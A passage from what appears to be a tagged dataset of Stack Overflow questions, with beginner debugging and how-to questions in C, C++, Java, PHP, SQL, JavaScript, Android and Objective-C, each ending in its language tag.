if((indxage.tab[m].age &gt;= biage) &amp;&amp; (indxage.tab[m].age &lt;= bsage))                             {                                 for(n = 0; n &lt; indxage.tab[m].nbmatric; n++)                                 {                                     if(indxage.tab[m].tab[n].matricule == tab[2].tab[i].matricule)                                     {                                         k = rechindexprim(tab[2].tab[i].matricule  tabprm  *f);                                         if(k != -1)                                         {                                             r = tabprm[k].pos;                                             afficheenreg(f  tabprm[k].n_bloc  &amp;r);                                         }                                     }                                 }                             }                         }                     }                 }             }else if (strcmp(region   4rm-ouargla ) == 0)             {                     for(i = 0; i &lt; tab[3].nbmatric; i++)                         {                             if(tab[3].tab[i].suppr == 0)                             {                                 for(m = 0; m &lt; indxage.taille; m++)                                 {                                     if((indxage.tab[m].age &gt;= biage) &amp;&amp; (indxage.tab[m].age &lt;= bsage))                                     {                                         for(n = 0; n &lt; indxage.tab[m].nbmatric; n++)                                         {                                             if(indxage.tab[m].tab[n].matricule == tab[3].tab[i].matricule)                                             {                                                 k = rechindexprim(tab[3].tab[i].matricule  tabprm  *f);                                                 if(k != -1)                                                 {                                                     r = tabprm[k].pos;                                                     afficheenreg(f  tabprm[k].n_bloc  &amp;r);                                                 }                                             }                                         }                                     }                                 }                             }                         }                     }else if (strcmp(region   5rm-constantine ) == 0)                         {                     for(i = 0; i &lt; tab[4].nbmatric; i++)                     {                         if(tab[4].tab[i].suppr == 0)                         {                             for(m = 0; m &lt; indxage.taille; m++)                             {                                 if((indxage.tab[m].age &gt;= biage) &amp;&amp; (indxage.tab[m].age &lt;= bsage))                                 {                                     for(n = 0; n &lt; indxage.tab[m].nbmatric; n++)                                     {                                         if(indxage.tab[m].tab[n].matricule == tab[4].tab[i].matricule)                                         {                                             k = rechindexprim(tab[4].tab[i].matricule  tabprm  *f);                                             if(k != -1)                                             {                                                 r = tabprm[k].pos;                                                 afficheenreg(f  tabprm[k].n_bloc  &amp;r);                                             }                                         }                                     }                                 }                             }                         }                     }                 }else if (strcmp(region   6rm-tamanrasset ) == 0)                     {                         for(i = 0; i &lt; tab[5].nbmatric; i++)                         {                             if(tab[5].tab[i].suppr == 0)                             {                                 for(m = 0; m &lt; indxage.taille; m++)                                 {                                     if((indxage.tab[m].age &gt;= biage) &amp;&amp; (indxage.tab[m].age &lt;= bsage))                                     {                                         for(n = 0; n &lt; indxage.tab[m].nbmatric; n++)                                         {                                             if(indxage.tab[m].tab[n].matricule == tab[5].tab[i].matricule)                                             {                                                 k = rechindexprim(tab[5].tab[i].matricule  tabprm  *f);                                                 if(k != -1)                                                 {                                                     r = tabprm[k].pos;                                                     afficheenreg(f  tabprm[k].n_bloc  &amp;r);                                                 }                                             }                                         }                                     }                                 }                             }                         }                     }     return 0; } </code></pre>   when i debug  i find in the watches that string s is:  address 0x6 is out of bounds !! how can i fix this issue,c
sorting nsset throws exception valueforundefinedkey  i m trying to sort an nsset of nsmanagedobjects.  the value for one of the set item s  pubdate  property is nil. the following code throws an exception [nsmanagedobject valueforundefinedkey] when it is sorted.  how can i get it to ignore the element without a value for that key    <pre><code>nssortdescriptor *sortnamedescriptor = [[[nssortdescriptor alloc] initwithkey:@ pubdate  ascending:no] autorelease]; nsarray *sortdescriptors = [nsarray arraywithobjects:sortnamedescriptor  nil]; return [[self.items allobjects] sortedarrayusingdescriptors:sortdescriptors]; </code></pre>,objective-c
i am creating a program that counts up by an increment. i am really close but i can t get the program to go up by the decided increment   this is the code. any suggestions are welcome but i am really trying to learn c++ for a class and not just get answers. so if you could explain how you got to the solution that would be amazing! thanks for the help!!   <pre><code>//looping #include &lt;iostream&gt; using namespace std;  int main() {     int increment;     int input_variable;     bool stop_printing = true;      cout &lt;&lt;  input:  ;     cin &gt;&gt; input_variable;     cout &lt;&lt;  increment:  ;     cin &gt;&gt; increment;      do     {         int counter = 0;         counter = increment++;          cout &lt;&lt;  result:   &lt;&lt; counter &lt;&lt; endl;         increment++;         if (increment &gt;= input_variable)         {             stop_printing = false;         }     } while (stop_printing == true);      return 0; } </code></pre>,c++
add server code dynamically asp.net webform  i want to add inline server code dynamically in user control or aspx page like   <pre><code>&lt;div&gt; &lt;% dynamic server side code %&gt; &lt;/div&gt; </code></pre>   is it possible,asp.net
binary tree traversal - preorder  inorder  postorder  i am trying to get the following output    <pre><code>preorder : 50 5 20 15 27 42 35 25 55 70 60 80 95 90 75 inorder  : 5 15 20 25 27 35 42 50 55 60 70 75 80 90 95 postorder: 5 20 15 27 42 35 25 55 70 60 80 95 90 75 50 </code></pre>   instead i am getting this   <pre><code>preorder : 136161285312597531284813109128551336214133138721362114128146401438414645 inorder  : 531259712848128531285513109133621361613621138721412814133143841464014645 postorder: 531284812597128551336213109128531362114128138721438414645146401413313616 </code></pre>   here is my code   <pre><code>#include  stdafx.h  #include&lt;iostream&gt;   using namespace std;  struct node {     int data;     node *left;     node *right; };  //preorder funcation void preorder(struct node *root) {      if (root == null) return; // if tree/sub-tree is empty  return and exit      cout &lt;&lt; root-&gt;data;         // visit     preorder(root-&gt;left);     // move left     preorder(root-&gt;right);    // move right }  //inorder funcation void inorder(node *root) {     if (root == null) return; // if tree/sub-tree is empty  return and exit      inorder(root-&gt;left);       //move left     cout &lt;&lt; root-&gt;data;         //visit     inorder(root-&gt;right);      // move right }  //postorder funcation void postorder(node *root) {     if (root == null) return; // if tree/sub-tree is empty  return and exit      postorder(root-&gt;left);    // move left     postorder(root-&gt;right);   // move right     cout &lt;&lt; root-&gt;data;         // visit }  // function to insert node in a binary search tree node* insert(node *root  int data) {     if (root == null) {         root = new node();         root-&gt;data = data;         root-&gt;left = root-&gt;right = null;     }     else if (data &lt;= root-&gt;data)         root-&gt;left = insert(root-&gt;left  data);     else         root-&gt;right = insert(root-&gt;right  data);     return root; }  int main() {      node *root = null;     root = insert(root   50 );     root = insert(root   75 );     root = insert(root   25 );     root = insert(root   15 );     root = insert(root   60 );     root = insert(root   35 );     root = insert(root   90 );     root = insert(root   42 );     root = insert(root   20 );     root = insert(root   27 );     root = insert(root   5 );     root = insert(root   55 );     root = insert(root   95 );     root = insert(root   80 );     root = insert(root   70 );       cout &lt;&lt;  preorder:  ;   //diaplay nodes in preorder.      preorder(root);     cout &lt;&lt;  \n ;      cout &lt;&lt;  inorder:  ;    //display nodes in inorder     inorder(root);     cout &lt;&lt;  \n ;      cout &lt;&lt;  postorder:  ;  //display nodes in postorder     postorder(root);     cout &lt;&lt;  \n ;     return 0; } </code></pre>,c++
where does the block variable in create_table come from in a rails migration  <pre><code>rails generate model user email:string password:string </code></pre>   looking into the migration that was created:   <pre><code>class createusers &lt; activerecord::base   def change     create_table :users do |t|       t.string :email       t.string :password       t.timestamps     end   end end </code></pre>   from the book  beginning rails 4 :  this is a standard migration fare. in the change definition  you use create_table method to create a new users table. <strong>the new table object is <em>yielded</em> to the block variable t</strong>  on which you call the string method to create each column     i d like a more detailed explanation of exactly where the block variable t comes from. is it returned by the create_table method (i think not  but i can t think of anything else),ruby-on-rails
mysql : how to create triggers with if  i would like to create a trigger in mysql  that puts the distance for a car rent in one row depending on the start city and the end city i tried this but it doesn t work   <pre><code>`create trigger kmdriven after insert on mi__rent for each row set new.km = new.startcity*new.endcity  if startcity=1 and endcity=2 then update new.km=600  elseif startcity=1 and endcity=3 then update new.km=400  elseif startcity=1 and endcity=4 then update new.km=800  elseif startcity=1 and endcity=5 then update new.km=675  elseif startcity=2 and endcity=1 then update new.km=600  elseif startcity=2 and endcity=3 then update new.km=550  elseif startcity=2 and endcity=4 then update new.km=300  elseif startcity=3 and endcity=1 then update new.km=400  elseif startcity=3 and endcity=2 then update new.km=550  elseif startcity=3 and endcity=4 then update new.km=500  elseif startcity=3 and endcity=5 then update new.km=300  elseif startcity=4 and endcity=1 then update new.km=800  elseif startcity=4 and endcity=2 then update new.km=300  elseif startcity=4 and endcity=3 then update new.km=500  elseif startcity=4 and endcity=5 then update new.km=300  elseif startcity=5 and endcity=1 then update new.km=675  elseif startcity=4 and endcity=1 then update new.km=500  elseif startcity=4 and endcity=1 then update new.km=300  elseif startcity=4 and endcity=1 then update new.km=300  end if  end;` </code></pre>   could you please tell me where this is wrong     thank you,mysql
best way to set master page properties in content page in asp.net   there are different ways to set the title for content pages from master page    <ol> <li>by findcontrol</li> <li>by creating property in master page and setting the value in content page</li> </ol>   as both method requires an object creation of master page which will be little heavy<br> <code>mymasterpage mymaster = (mymasterpage)this.master;</code>    so i have tried it by creating a class and it worked -   <pre><code>public class clsmaster {     public static clsmaster objmaster = new clsmaster();     public strtitle {get;set;} } </code></pre>   now i just need to access this static object and set the property in the content page and in the master page i just need the controls to take the value from this class (clsmaster).    i would like to know which one is the better approach and why with description please,asp.net
speeding up re.sub in python  i have the following python code  but its running a bit slow on a 10mb file. i m wondering is there any way to speed it up  maybe by doing the re.sub all in one go (rather than two operations) - not sure how to do this though  or maybe there is another way    <pre><code>def changemode(file  amode0  amode1  bmode0  bmode1): for line in iter(file):     if  aaa  in line or  bbb  in line or  ccc  in line:             line = re.sub(mode0  mode1  line)             line = re.sub(bmode0  bmode1  line)     endstring += line return endstring </code></pre>   cheers,python
can i put a call to a function inside my if statement in javascript   i have the following code:   <pre><code>var rtn = getparams(entity) if (rtn.rc == false) { return; } parameters = rtn.param;  </code></pre>   is there a way that i can put the call to getparams inside of the if statement  also do i need to put the return; in braces with javascript  i am looking for a way to clean up this code snippet. any suggestions would be appreciated.,javascript
overloading a member inside another member  in my school assignment i need a small help     this is my header file:   <pre><code>#include &lt;iostream&gt; #include &lt;cstring&gt;  using namespace std;  #include  isbnprefix.h   class isbn {     char str[11];     char area[6];     char publisher[8];     char title[7];     bool registered;    public:     isbn();     isbn(const char* isbnprefix &amp;);      void tostr(char*)const;     void tostrwithstyle(char*)const;     bool empty()const;     bool isregistered() const;     bool read(istream&amp; is  const isbnprefix&amp; list);     void display(ostream&amp;) const;    };  int isvalid(const char* str); </code></pre>   and this is the implementation of my file:   <pre><code>#define _crt_secure_no_warnings  #include&lt;iostream&gt; #include &lt;iomanip&gt;  using namespace std;  #include  isbn.h   isbn::isbn() {     str[0]= \0 ;     area[0]= \0 ;     publisher[0]= \0 ;     title[0]= \0 ;     registered=false; }  isbn::isbn(const char* s isbnprefix&amp; p) {     if(isvalid(s)==1)     {         strcpy_s(str s);     }     else     {         *this=isbn();     } }  bool isbn::empty()const {     bool chk=false;     if(str[0]== \0 )         chk=true;      return chk; } void isbn::tostrwithstyle(char* s) const {     if(registered)     {         sprintf(s  %s-%s-%s-%c  area publisher title str[9]);     }     else     {         tostr(s);     } }  void isbn::tostr(char* s) const {     if (str[0]!= \0 )         strcpy(s str);     else         strcpy(s  no data ); }  void isbn::display(ostream &amp; os) const {     char str[14];            tostrwithstyle(str);     cout&lt;&lt; setw (13) &lt;&lt;str; }  int isvalid(const char* str) {        int rc=0;     if(str!=0)     {         int sum i=0;         sum=0;         for(i=0;i&lt;10;i++)             sum+=(str[i]- 0 )*(10-i);         if(sum%11==0)         {             rc= 1;         }     }     else         rc=0;      return rc; }  bool isbn::read(istream&amp; is  const isbnprefix&amp; list) {     char str[11];     bool quit=false;     bool ok=false;     char lists;      do{         cout&lt;&lt; isbn (0 to quit) :  ;         is.getline(str 11); //or is.get(str 11)          if(strcmp(str  0 )==0)             quit=true;         else if (isvalid(str)==1)         {             *this=isbn(str list);             ok=true;             cout&lt;&lt; isbn is valid &lt;&lt;endl;         }         else         {             *this=isbn();             cout&lt;&lt; invalid isbn &lt;&lt;endl;         }     } while(!quit&amp;&amp;!ok);     return !quit; } </code></pre>  <hr>   in the <code>isbn::read</code> where i say    <pre><code>*this=isbn(str list); </code></pre>   i want to overload another member but i can t. can anyone tell me how can i do that,c++
how to put condition for date type data  i have table for tasks list.    how can i create condition for dates     i want to give red color for tasks that their targerdate are in 2 days or less.   <pre><code>    $mainquery = mysql_query( select * from `tasks ` );     while($mainindex = mysql_fetch_array($mainquery))  { if ($mainindex[ tagertdate ] &lt;=    ) } </code></pre>   sql table:   <pre><code>id  int(10)  title   varchar(250)    utf8_general_ci targetdate  date     </code></pre>,php
is passing the window object to an iife optional   is there any difference between the following examples     example 1:   <pre><code>(function (window) {   use strict ;   console.log(window) })(window); </code></pre>   example 2:   <pre><code>(function () {   use strict ;   console.log(window) })(); </code></pre>   is passing the window object optional,javascript
how do i store an object in arraylist   i m trying to store an object person in an arraylist.    i have an <code>arraylist&lt;string&gt; customer = new arraylist&lt;string&gt;();</code>    the object  person  has two variables: name (string) and pnr (long). i have tried to simply add it: <code>customer.add(person)</code> but that doesn t seem to work.    to clarify: i don t want to store the variables individually. i want to store the entire object person in the arraylist.    i simply can t figure out how to engage this problem or even if it can be done.    can someone point me in the right direction,java
access phone features in .net  my idea is to give the details of list of sms  missed calls   received calls in my website.     so i am planning to have the website in .net and access these phone features.    can you please share some api links from which i can access the phone features in my website,.net
confused by javascript predicate syntax  in a typescript component file  the underscore.js library is being imported as follows:   <pre><code>import * as _ from  underscore ; </code></pre>   later in the component  the instructor uses the following line to delete a photo object from an array of photo objects:   <pre><code>this.photos.splice(_.findindex(this.photos  { id: id })  1) </code></pre>   i believe this line is doing the same thing as the following code:   <pre><code>var i = _.findindex(this.photos  (photo) =&gt; {   photo.id == id; }); this.photos.splice(i  1); </code></pre>   what i don t understand is how    <pre><code>(photo) =&gt; { photo.id == id; } </code></pre>   gets reduced to   <pre><code>{ id: id } </code></pre>,javascript
send image to server as binary data  i want to make an iphone application to send an image to my server.      i want to draw something in iphone (ex: a signature) as an image to post binary image to my server (server is jsp). please tell me what i have to do    <ul> <li>how to use iphone ui </li> <li>how to make binary data from image  etc.</li> </ul>,iphone
jquery ui dialog—close button not working  i m having some trouble getting the close button on my dialog box to work. i followed an example i found  but mine won t close. what am i doing wrong    <pre><code>$(function() {     $( #message ).dialog({         autoopen: false          bgiframe: true          modal: true          buttons: {              okay : function() {                 document.location =                       http://www.google.com ;                     }               cancel : function() {             ( #message ).dialog( close );         }         }     });      $( button ).click(function() {         $( #message ).dialog( open );     }); }); </code></pre>   <a href= http://jsfiddle.net/bffwq/3/  rel= nofollow >jsfiddle</a>,jquery
efficient way to sort a column of 2d array  i need to sort a column of a 2d array. what is the most efficient way to do so  can i copy the entire column of 2d array to a new 1d array then sort it from there. i need it to be fast.,c#
initialize a `file *` variable in c   i ve got several oldish code bases that initialize variables (to be able to redirect input/output at will)  like     <code>file *usrin = stdin  *usrout = stdout;</code>    however  gcc (8.1.1  glibc 2.27.9000 on fedora rawhide) balks at this (<code>initializer is not a compile time constant</code>). rummaging in <code>/usr/include/stdio.h</code> i see:    <code>extern file *stdin;</code>    <code>/* c89/c99 say they re macros. make them happy */</code>    <code>#define stdin stdin</code>    first  it makes no sense to me that you can t initialize variables this (rather natural) way for such use. sure  you can do it in later code  but it is a nuisance.    second  why is the macro expansion not a constant     third  what is the rationale for having them be macros,c
saving/reading a list of object to/from disk  i have made some changes to my code. the method to save to disk is working fine.   <pre><code>public void savelist() {    filestream stream = new filestream(@ persons.dat   filemode.create);    binaryformatter formatter = new binaryformatter();    formatter.serialize(stream  mylist);    stream.close(); }  public void readlist() {    filestream stream = new filestream(@ persons.dat   filemode.open);    binaryformatter formatter = new binaryformatter();    list&lt;person&gt; mylist = formatter.deserialize(stream) as list&lt;person&gt;; } </code></pre>   i can see that the persons.dat file is being created and the state of the object is being saved to the file. but the problem lies when try to read. when re-run the program and call the method readlist() no errors are being shown. then i call a method to dislay the details of the object stored in the list but the list is empty!!,c#
c++ weird istringstream behaviour  i apologise for being a c++ novice. i am trying to learn by translating some code from java.    in this code  the strings that are read in represent letter frequencies in % in a language.    the test string we are dealing with is <code>a10b10c10d10e10f50</code>  as the test code shows.    in the loop below  the first 3 values (0.1  0 1  0.1) are correctly read in  as are the 5th and 6th (0.1 and 0.5)  but for some reason the 4th value for letter  d   when <code>i</code> is 9  is read in as <code>1000000000.0000000</code>  according to the debugger in visual studio. any ideas why    <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;sstream&gt; #include &lt;string&gt; #include &lt;cmath&gt;  using namespace std;  class symbolfrequency { public:     double language(vector &lt;string&gt; frequencies  vector &lt;string&gt; text) {          for (unsigned int fset = 0; fset &lt; frequencies.size(); fset++) {             double expected[26];             fill(expected  expected + 26  0.0);             for(unsigned int i = 0; i &lt; frequencies[fset].length(); i += 3) {                 char letter = frequencies[fset][i];                 istringstream is(frequencies[fset].substr(i + 1  i + 3));                 double freq;                 is &gt;&gt; freq; freq /= 100;                 expected[letter -  a ] = freq;             } ... </code></pre>   test code:   <pre><code>int main() {     symbolfrequency s;     const char *fargs[] = { a10b10c10d10e10f50 };     vector&lt;string&gt; f(fargs  fargs + 1);     vector&lt;string&gt; t;     t.push_back( abcde g );     double d = s.language(f t);     cout &lt;&lt; (d) &lt;&lt; endl;     cin.get();     return 0; } </code></pre>,c++
how to instantiate mylist object  i saw this code in the textbook  java by dissection  but don t understand what it does exactly. the textbook barely explained anything regarding this code  besides for saying it implements a nested class. but i want to understand what it actually does.     the reason i want to understand this code is because i was trying to create a main that would declare/instantiate an object of the mylist class with the values 1-10. then add a few numbers to the top and delete a few from anywhere i wanted. could anyone help me with this     the main part i don t understand is nested class - listedelement.    <pre><code>public class mylist {   private listelement head  tail; //forward declaration   void add(object value) {     if (tail != null) {       tail.next = new listelement(value);       tail = tail.next;     }     else {       head = tail = new listelement(value);     }   }   object remove()    {     assert head != null; // don t remove on empty list     object result = head.value;     head = head.next;     if (head == null) { //was that the last        tail = null;     }     return result;   }   //nested class needed only in the implementation of mylist   private class listelement {     listelement(object value) {this.value = value;}     object value;     listelement next; //defaults to null as desired   } } </code></pre>,java
sql : select value based on values from other columns  i have a column for price. i need to select the price based on another column called status. if status is p then select that price first else select price from other status h. i need to make sure that query selects the price if status is p first when both status p &amp; h are available.,sql
error: expected  )   i m getting an error that  <code>)</code>  is expected. i m pretty sure this is because it s expecting a  <code>})</code>;  as i opened a parenthesis on this line  <code>databaseclients.addvalueeventlistener (new valueeventlistener() {</code>  . however  when i add/modify it in  the program still complains. not sure why.     this is most probably a very stupid mistake! any help is appreciated. cheers guys!   <pre><code>public class viewprofile extends appcompatactivity{      listview listviewclients;     list&lt;clients&gt; clientslist;      databasereference databaseclients;      protected void oncreate(bundle savedinstancestate){         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_view_profile);          listviewclients = (listview) findviewbyid(r.id.listviewclients);         databaseclients = firebasedatabase.getinstance().getreference( clients );          clientslist = new arraylist&lt;&gt;();     }      @override     protected void onstart() {         super.onstart();          databaseclients.addvalueeventlistener (new valueeventlistener() {             @override             public void ondatachange(datasnapshot datasnapshot) {                  clientslist.clear();                  for (datasnapshot clientssnapshot : datasnapshot.getchildren()) {                     clients clients = clientssnapshot.getvalue(clients.class);                      clientslist.add(clients);                 }                 clientslist adapter = new clientslist(viewprofile.this  clientslist);                 listviewclients.setadapter(adapter);             }              @override             public void oncancelled(firebaseerror firebaseerror) {              }          }     } } </code></pre>   <strong>edit</strong> when i add the }); this happens: <a href= https://i.stack.imgur.com/gvudp.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/gvudp.png  alt= enter image description here ></a>    the error i get now is: error:(42  48) error: incompatible types:  cannot be converted to com.google.firebase.database.valueeventlistener .,android
angular - pass input value to factory $http query parameter  i have created a factory to run an $http get method. i need to add an input value to the url pulling in the json but i m having trouble passing it from the controller. i can see that the url is being created correctly  i am just missing the  query  parameter from the form input field.    here is my html block:   <pre><code>&lt;input type= string  class= form-control  ng-model= getmovie.title &gt; </code></pre>   here is my factory and controller:   <pre><code>    var app = angular.module( app   []);     app.factory( getmovie   [ $http  function($http){     var obj = {};     var url =  https://api.nytimes.com/svc/movies/v2/reviews/search.json ;     obj.getmovieinfo = function(){      return $http({         url: url          method:  get           params:{              query: this.title  // this is the value i need             api_key:  68094e1974e7984c256beb1653319915:3:33678189               callback:  json_callback        }          headers: {              content-type  :  application/json          }      }).then(function successcallback(response) {             this.moviereviews = response.data.results;        }  function errorcallback(response) {             console.log( nothing to see here... );       });     }         return obj;     }]);  app.controller( moviesctrl   [ $scope    getmovie   function($scope  getmovie){     $scope.findmovie = function(){         getmovie.getmovieinfo().then(function(response){             $scope.results = response;         });     } }]); </code></pre>   thanks!,angularjs
how to resize array in c++  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/756906/can-you-resize-a-c-array-after-initialization >can you resize a c++ array after initialization </a>    </blockquote>     i need to do the equivalent of the following c# code in c++   <pre><code>array.resize(ref a  a.length - 1); </code></pre>   how to achieve this in c++,c++
how to print menu again  how to return my menu selection with the code i have below  after the program gives the output  how can i go back to the menu again    <pre><code>import java.util.*; import java.util.scanner; public class meme {     public static void main(string[] args)     {         scanner inp= new scanner(system.in);         int choose;         system.out.println( enter your selection:\n1 for addition\n2 for substraction \n3 for multiplication\n4 for division );          choose = inp.nextint();          int num1 num2;         int ans;         system.out.println( enter first number: );         num1 = inp.nextint();         system.out.println( enter second number: );         num2 = inp.nextint();           switch (choose){         case 1:             system.out.println(add( num1 num2));             break;         case 2:             system.out.println(sub( num1 num2));             break;               case 3:             system.out.println(mult( num1 num2));             break;         case 4:             system.out.println(div( num1 num2));             break;             default:                 system.out.println( illigal operation );           }        }     public static int add(int x  int y)     {         int result = x + y;         return result;      }     public static int sub(int x  int y)     {         int result = x-y;         return result;     }     public static int mult(int x  int y)     {         int result = x*y;         return result;     }     public static int div(int x  int y)     {         int result = x/y;         return result;     }  } </code></pre>   after the program gives the output  how can i go back to the menu again,java
how can use persian tts example in android   how can use persian tts example in android  i want an android tts for persian languages this is my example but in android we don t have all languages what can i do    <pre><code>mytts.setlanguage(locale.us); </code></pre>,android
program for date calculator in c  i m trying to write a date calculator in c program with the range from 1/1/1902 to 12/31/2299  i ve follow the algorithm from <a href= http://en.wikipedia.org/wiki/calculating_the_day_of_the_week  rel= nofollow >http://en.wikipedia.org/wiki/calculating_the_day_of_the_week</a>  with the century table month table and day table  but when i tried to print out  this is what i have   <pre><code>enter year  month and day as yyyy m dd 1982 4 24 saturday1982  6  24  is  6 </code></pre>   instead of saying <code>1982 4 24 is a saturday</code>    what is wrong in the program i wrote  the placement of the switch cases    <pre><code>#include &lt;stdio.h&gt;  int main (void) {     // insert code here...     int day month year;      printf( enter year  month and day as yyyy m dd\n );      scanf( %4d%d%2d   &amp;year  &amp;month  &amp;day);      if (year &gt;= 1901 &amp;&amp; year &lt;= 2299 &amp;&amp;         month &gt;= 1 &amp;&amp; month &lt;= 12 &amp;&amp;         day &gt;= 0 &amp;&amp; day &lt;= 31)     {         int century = year/100;          /* making a century table for calculation*/          switch(century)         {             case 19:                 century=0;                 break;             case 20:                 century=6;                 break;             case 21:                 century=4;                 break;             case 22:                 century=2;                 break;         }          int last2_of_year= year % 100;          /* last 2 digits of the year entered*/          int last2_div_4 =  last2_of_year/4;          switch (month)         {             case 1:                 month=0;                 break;              case 2:                 month=3;                 break;             case 3:                 month=3;                 break;             case 4:                 month=6;                 break;             case 5:                 month=1;                 break;             case 6:                 month=4;                 break;             case 7:                 month=6;                 break;             case 8:                 month=2;                 break;             case 9:                 month=5;                 break;             case 10:                 month=0;                 break;             case 11:                 month=3;                 break;             case 12:                 month=5;                 break;          }           int total_num = (century+ last2_of_year +day +month +last2_div_4)%7;          switch (total_num)          {             case 0:             printf( sunday );                 break;             case 1:             printf( monday );                 break;             case 2:             printf( tuesday );                 break;             case 3:             printf( wednesday );                 break;             case 4:             printf( thursday );                 break;             case 5:             printf( friday );                 break;             case 6:             printf( saturday );                 break;         }          printf( %d  %d  %d  is a %d   year month day total_num);         }         else         {             printf( invalid\n );         }        return 0;      } </code></pre>,c
how to extend jquery library  i want to extend a particular aspect of jquery ui: <a href= https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.18/jquery-ui.js  rel= nofollow >https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.18/jquery-ui.js</a>    search in the source code for <code>easeinelastic</code> to see the following snippet:   <pre><code>easeinelastic: function (x  t  b  c  d) {     var s=1.70158;var p=0;var a=c; alert(  );     if (t==0) return b;  if ((t/=d)==1) return b+c;  if (!p) p=d*9.3;     if (a &lt; math.abs(c)) { a=c; var s=p/4; }     else var s = p/(2*math.pi) * math.asin (c/a);     return -(a*math.pow(2 10*(t-=1)) * math.sin( (t*d-s)*(2*math.pi)/p )) + b; }  </code></pre>   i need to slightly modify the code  but i don t want to duplicate the whole library. how can i include a modified snippet in a separate .js file so that it will overwrite the original     <strong>edit:</strong>    out of all the suggested methods  this is the only one that worked:   <pre><code>$.extend($.easing  {     easeinelastic: function (x  t  b  c  d) {            alert(  );         var s=1.70158;var p=0;var a=c;         if (t==0) return b;  if ((t/=d)==1) return b+c;  if (!p) p=d*.3;         if (a &lt; math.abs(c)) { a=c; var s=p/4; }         else var s = p/(2*math.pi) * math.asin (c/a);         return -(a*math.pow(2 10*(t-=1)) * math.sin( (t*d-s)*(2*math.pi)/p )) + b;     }  }); </code></pre>,jquery
issue with string.split result  i trying to load 4 lines from text files:   <pre><code>email:pass email1:pass1 email2:pass2 email3:pass3 </code></pre>   i used string.split  however when i try to add to the my list it doesn t load well.    here what i tried:   <pre><code>list&lt;string&gt; accountlist = new list&lt;string&gt;(); console.write( file location:  ); string filelocation = console.readline(); string[] temp = file.readalllines(filelocation); string[] tempnew = new string[1000];  int count = 0; foreach(var s in temp) {     accountlist.add(s.split( : ).tostring());     count++; } </code></pre>   i checked how it the strings look inside the lists and they were like this:   <pre><code>system.string[] </code></pre>   i want it to be like this:   <pre><code>accountlist[0] = email accountlist[1] = pass accountlist[2] = email1 accountlist[3] = pass1 </code></pre>,c#
how to find length of longest sorted subsequence  given a sequence of integer of length and prints the length of the longest sorted subsequence. if there is more than one subsequence of equal maximum length  the subsequence that appears first (the one with the smallest index) is to be used for the output    for the sequence: 8 2 3 4 5 6 0 10 26 24. the max length is 5. here is the code i have so far. thank you guys. note: i am not suppose to use array. i have to use ctrl+z to display the max sorted subsequence length.   <pre><code>import java.io.ioexception;  public class repeatingcharacterpositions {     public static void main(string[] s) throws ioexception {         int counter = 0;         int inputvalue;         int previousnum = 0;         int nextnum;         while ((inputvalue = system.in.read()) != -1) {             nextnum = (int) inputvalue;             if (previousnum &lt; nextnum) {                 counter++;             } else if (previousnum &gt; nextnum) {                 continue;             }             previousnum = nextnum;         }         system.out.println( number of repeating   + counter);     } } </code></pre>,java
chinese yuan (cny currency symbol) in html  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1275798/whats-the-html-tag-for-the-chinese-dollar-currency-symbol >what&#39;s the html tag for the &ldquo;chinese dollar&rdquo; currency symbol </a>    </blockquote>     what is the html code/entities for chinese yuan(cny)  is it similar to jpy  &yen;  i did not found any solution and i don t know the chinese language. and also can i use rmb before amount,html
select 10 rows for each id in  how i can get 10 rows for each id_recipient      <pre><code>select id from msg where id_recipient in (1 2 3 4 5) </code></pre>   so request should return 50 rows(10 rows for each id_recipient),mysql
php my themes download page  when my users purchase a  theme   after purchase is done  i add the theme to the theme_purchases mysql table.    like this:    <strong>purchaseid -- userid -- theme id</strong>    <strong>1 -- 44 -- 4</strong>    there s a page named mythemes.php that will show all of the themes this user have purchased. the user will be able to download the theme by clicking the button  download .    and i want to handle the downloads like in this answer:    <a href= https://stackoverflow.com/a/15951217/1761494 >https://stackoverflow.com/a/15951217/1761494</a>    in my case (with the user &amp; his own themes)  do i need to use tokens (according to the answer i posted above).    are there any other solutions for having a download page  protecting the download link   use can download his theme any time     thanks!,php
uipickerview with null data  here is my code    <pre><code>    - (void)viewdidload {         [super viewdidload];         // do any additional setup after loading the view from its nib.         picker1 = [[uipickerview alloc] init];         [self.view addsubview:picker1];          picker1.delegate=self;         picker1.datasource=self;         picker1.tag = 1;         array = [[nsmutablearray alloc] init];              [self  webservice];      }     -(void)webservice     {           nslog(@ dropdown method is call );          nsstring *envalope=[nsstring stringwithformat:@ &lt; xml version=\ 1.0\  encoding=\ utf-8\  &gt;\n                               &lt;soap:envelope xmlns:xsi=\ http://www.w3.org/2001/xmlschema-instance\  xmlns:xsd=\ http://www.w3.org/2001/xmlschema\  xmlns:soap=\ http://schemas.xmlsoap.org/soap/envelope/\ &gt;\n                               &lt;soap:body&gt;\n                               &lt;showvalue xmlns=\ http://tempuri.org/\ &gt;\n                              “&lt;/showvalue&gt;\n                               &lt;/soap:body&gt;\n                               &lt;/soap:envelope&gt; ];          envalope=[nsstring stringwithformat:envalope];         nsdata *envelope = [envalope datausingencoding:nsutf8stringencoding];         nsstring *url=@ http://showservice.asmx ;          nsmutableurlrequest *request2 = [nsmutableurlrequest requestwithurl:[nsurl urlwithstring:url] cachepolicy:nsurlrequestuseprotocolcachepolicy timeoutinterval:30.0];          [request2 addvalue:@ http://tempuri.org/showvalue  forhttpheaderfield:@ soapaction ];         [request2 sethttpmethod:@ post ];         [request2 sethttpbody:envelope];         [request2 setvalue:@ text/xml; charset=utf-8          forhttpheaderfield:@ content-type ];         [request2 setvalue:[nsstring stringwithformat:@ %d   [envelope length]]forhttpheaderfield:@ content-length ];          nsurlconnection *connection1 = [[nsurlconnection alloc] initwithrequest:request2 delegate:self];         if (connection1){             resservice = [nsmutabledata data];             nslog(@ connection establish. );          }         else{             nslog(@ nsurlconnection initwithrequest: failed to return a connection. );         }      }      - (void)connection:(nsurlconnection *)connection didreceiveresponse:(nsurlresponse *)response     {           [resservice setlength:0];      }     - (void)connection:(nsurlconnection *)connection didreceivedata:(nsdata *)data {          [rresservice appenddata:data];      }      - (void)connectiondidfinishloading:(nsurlconnection *)connection {          nsstring *thexml1 = [[nsstring alloc] initwithbytes:[ resservicemutablebytes] length:[ resservice length] 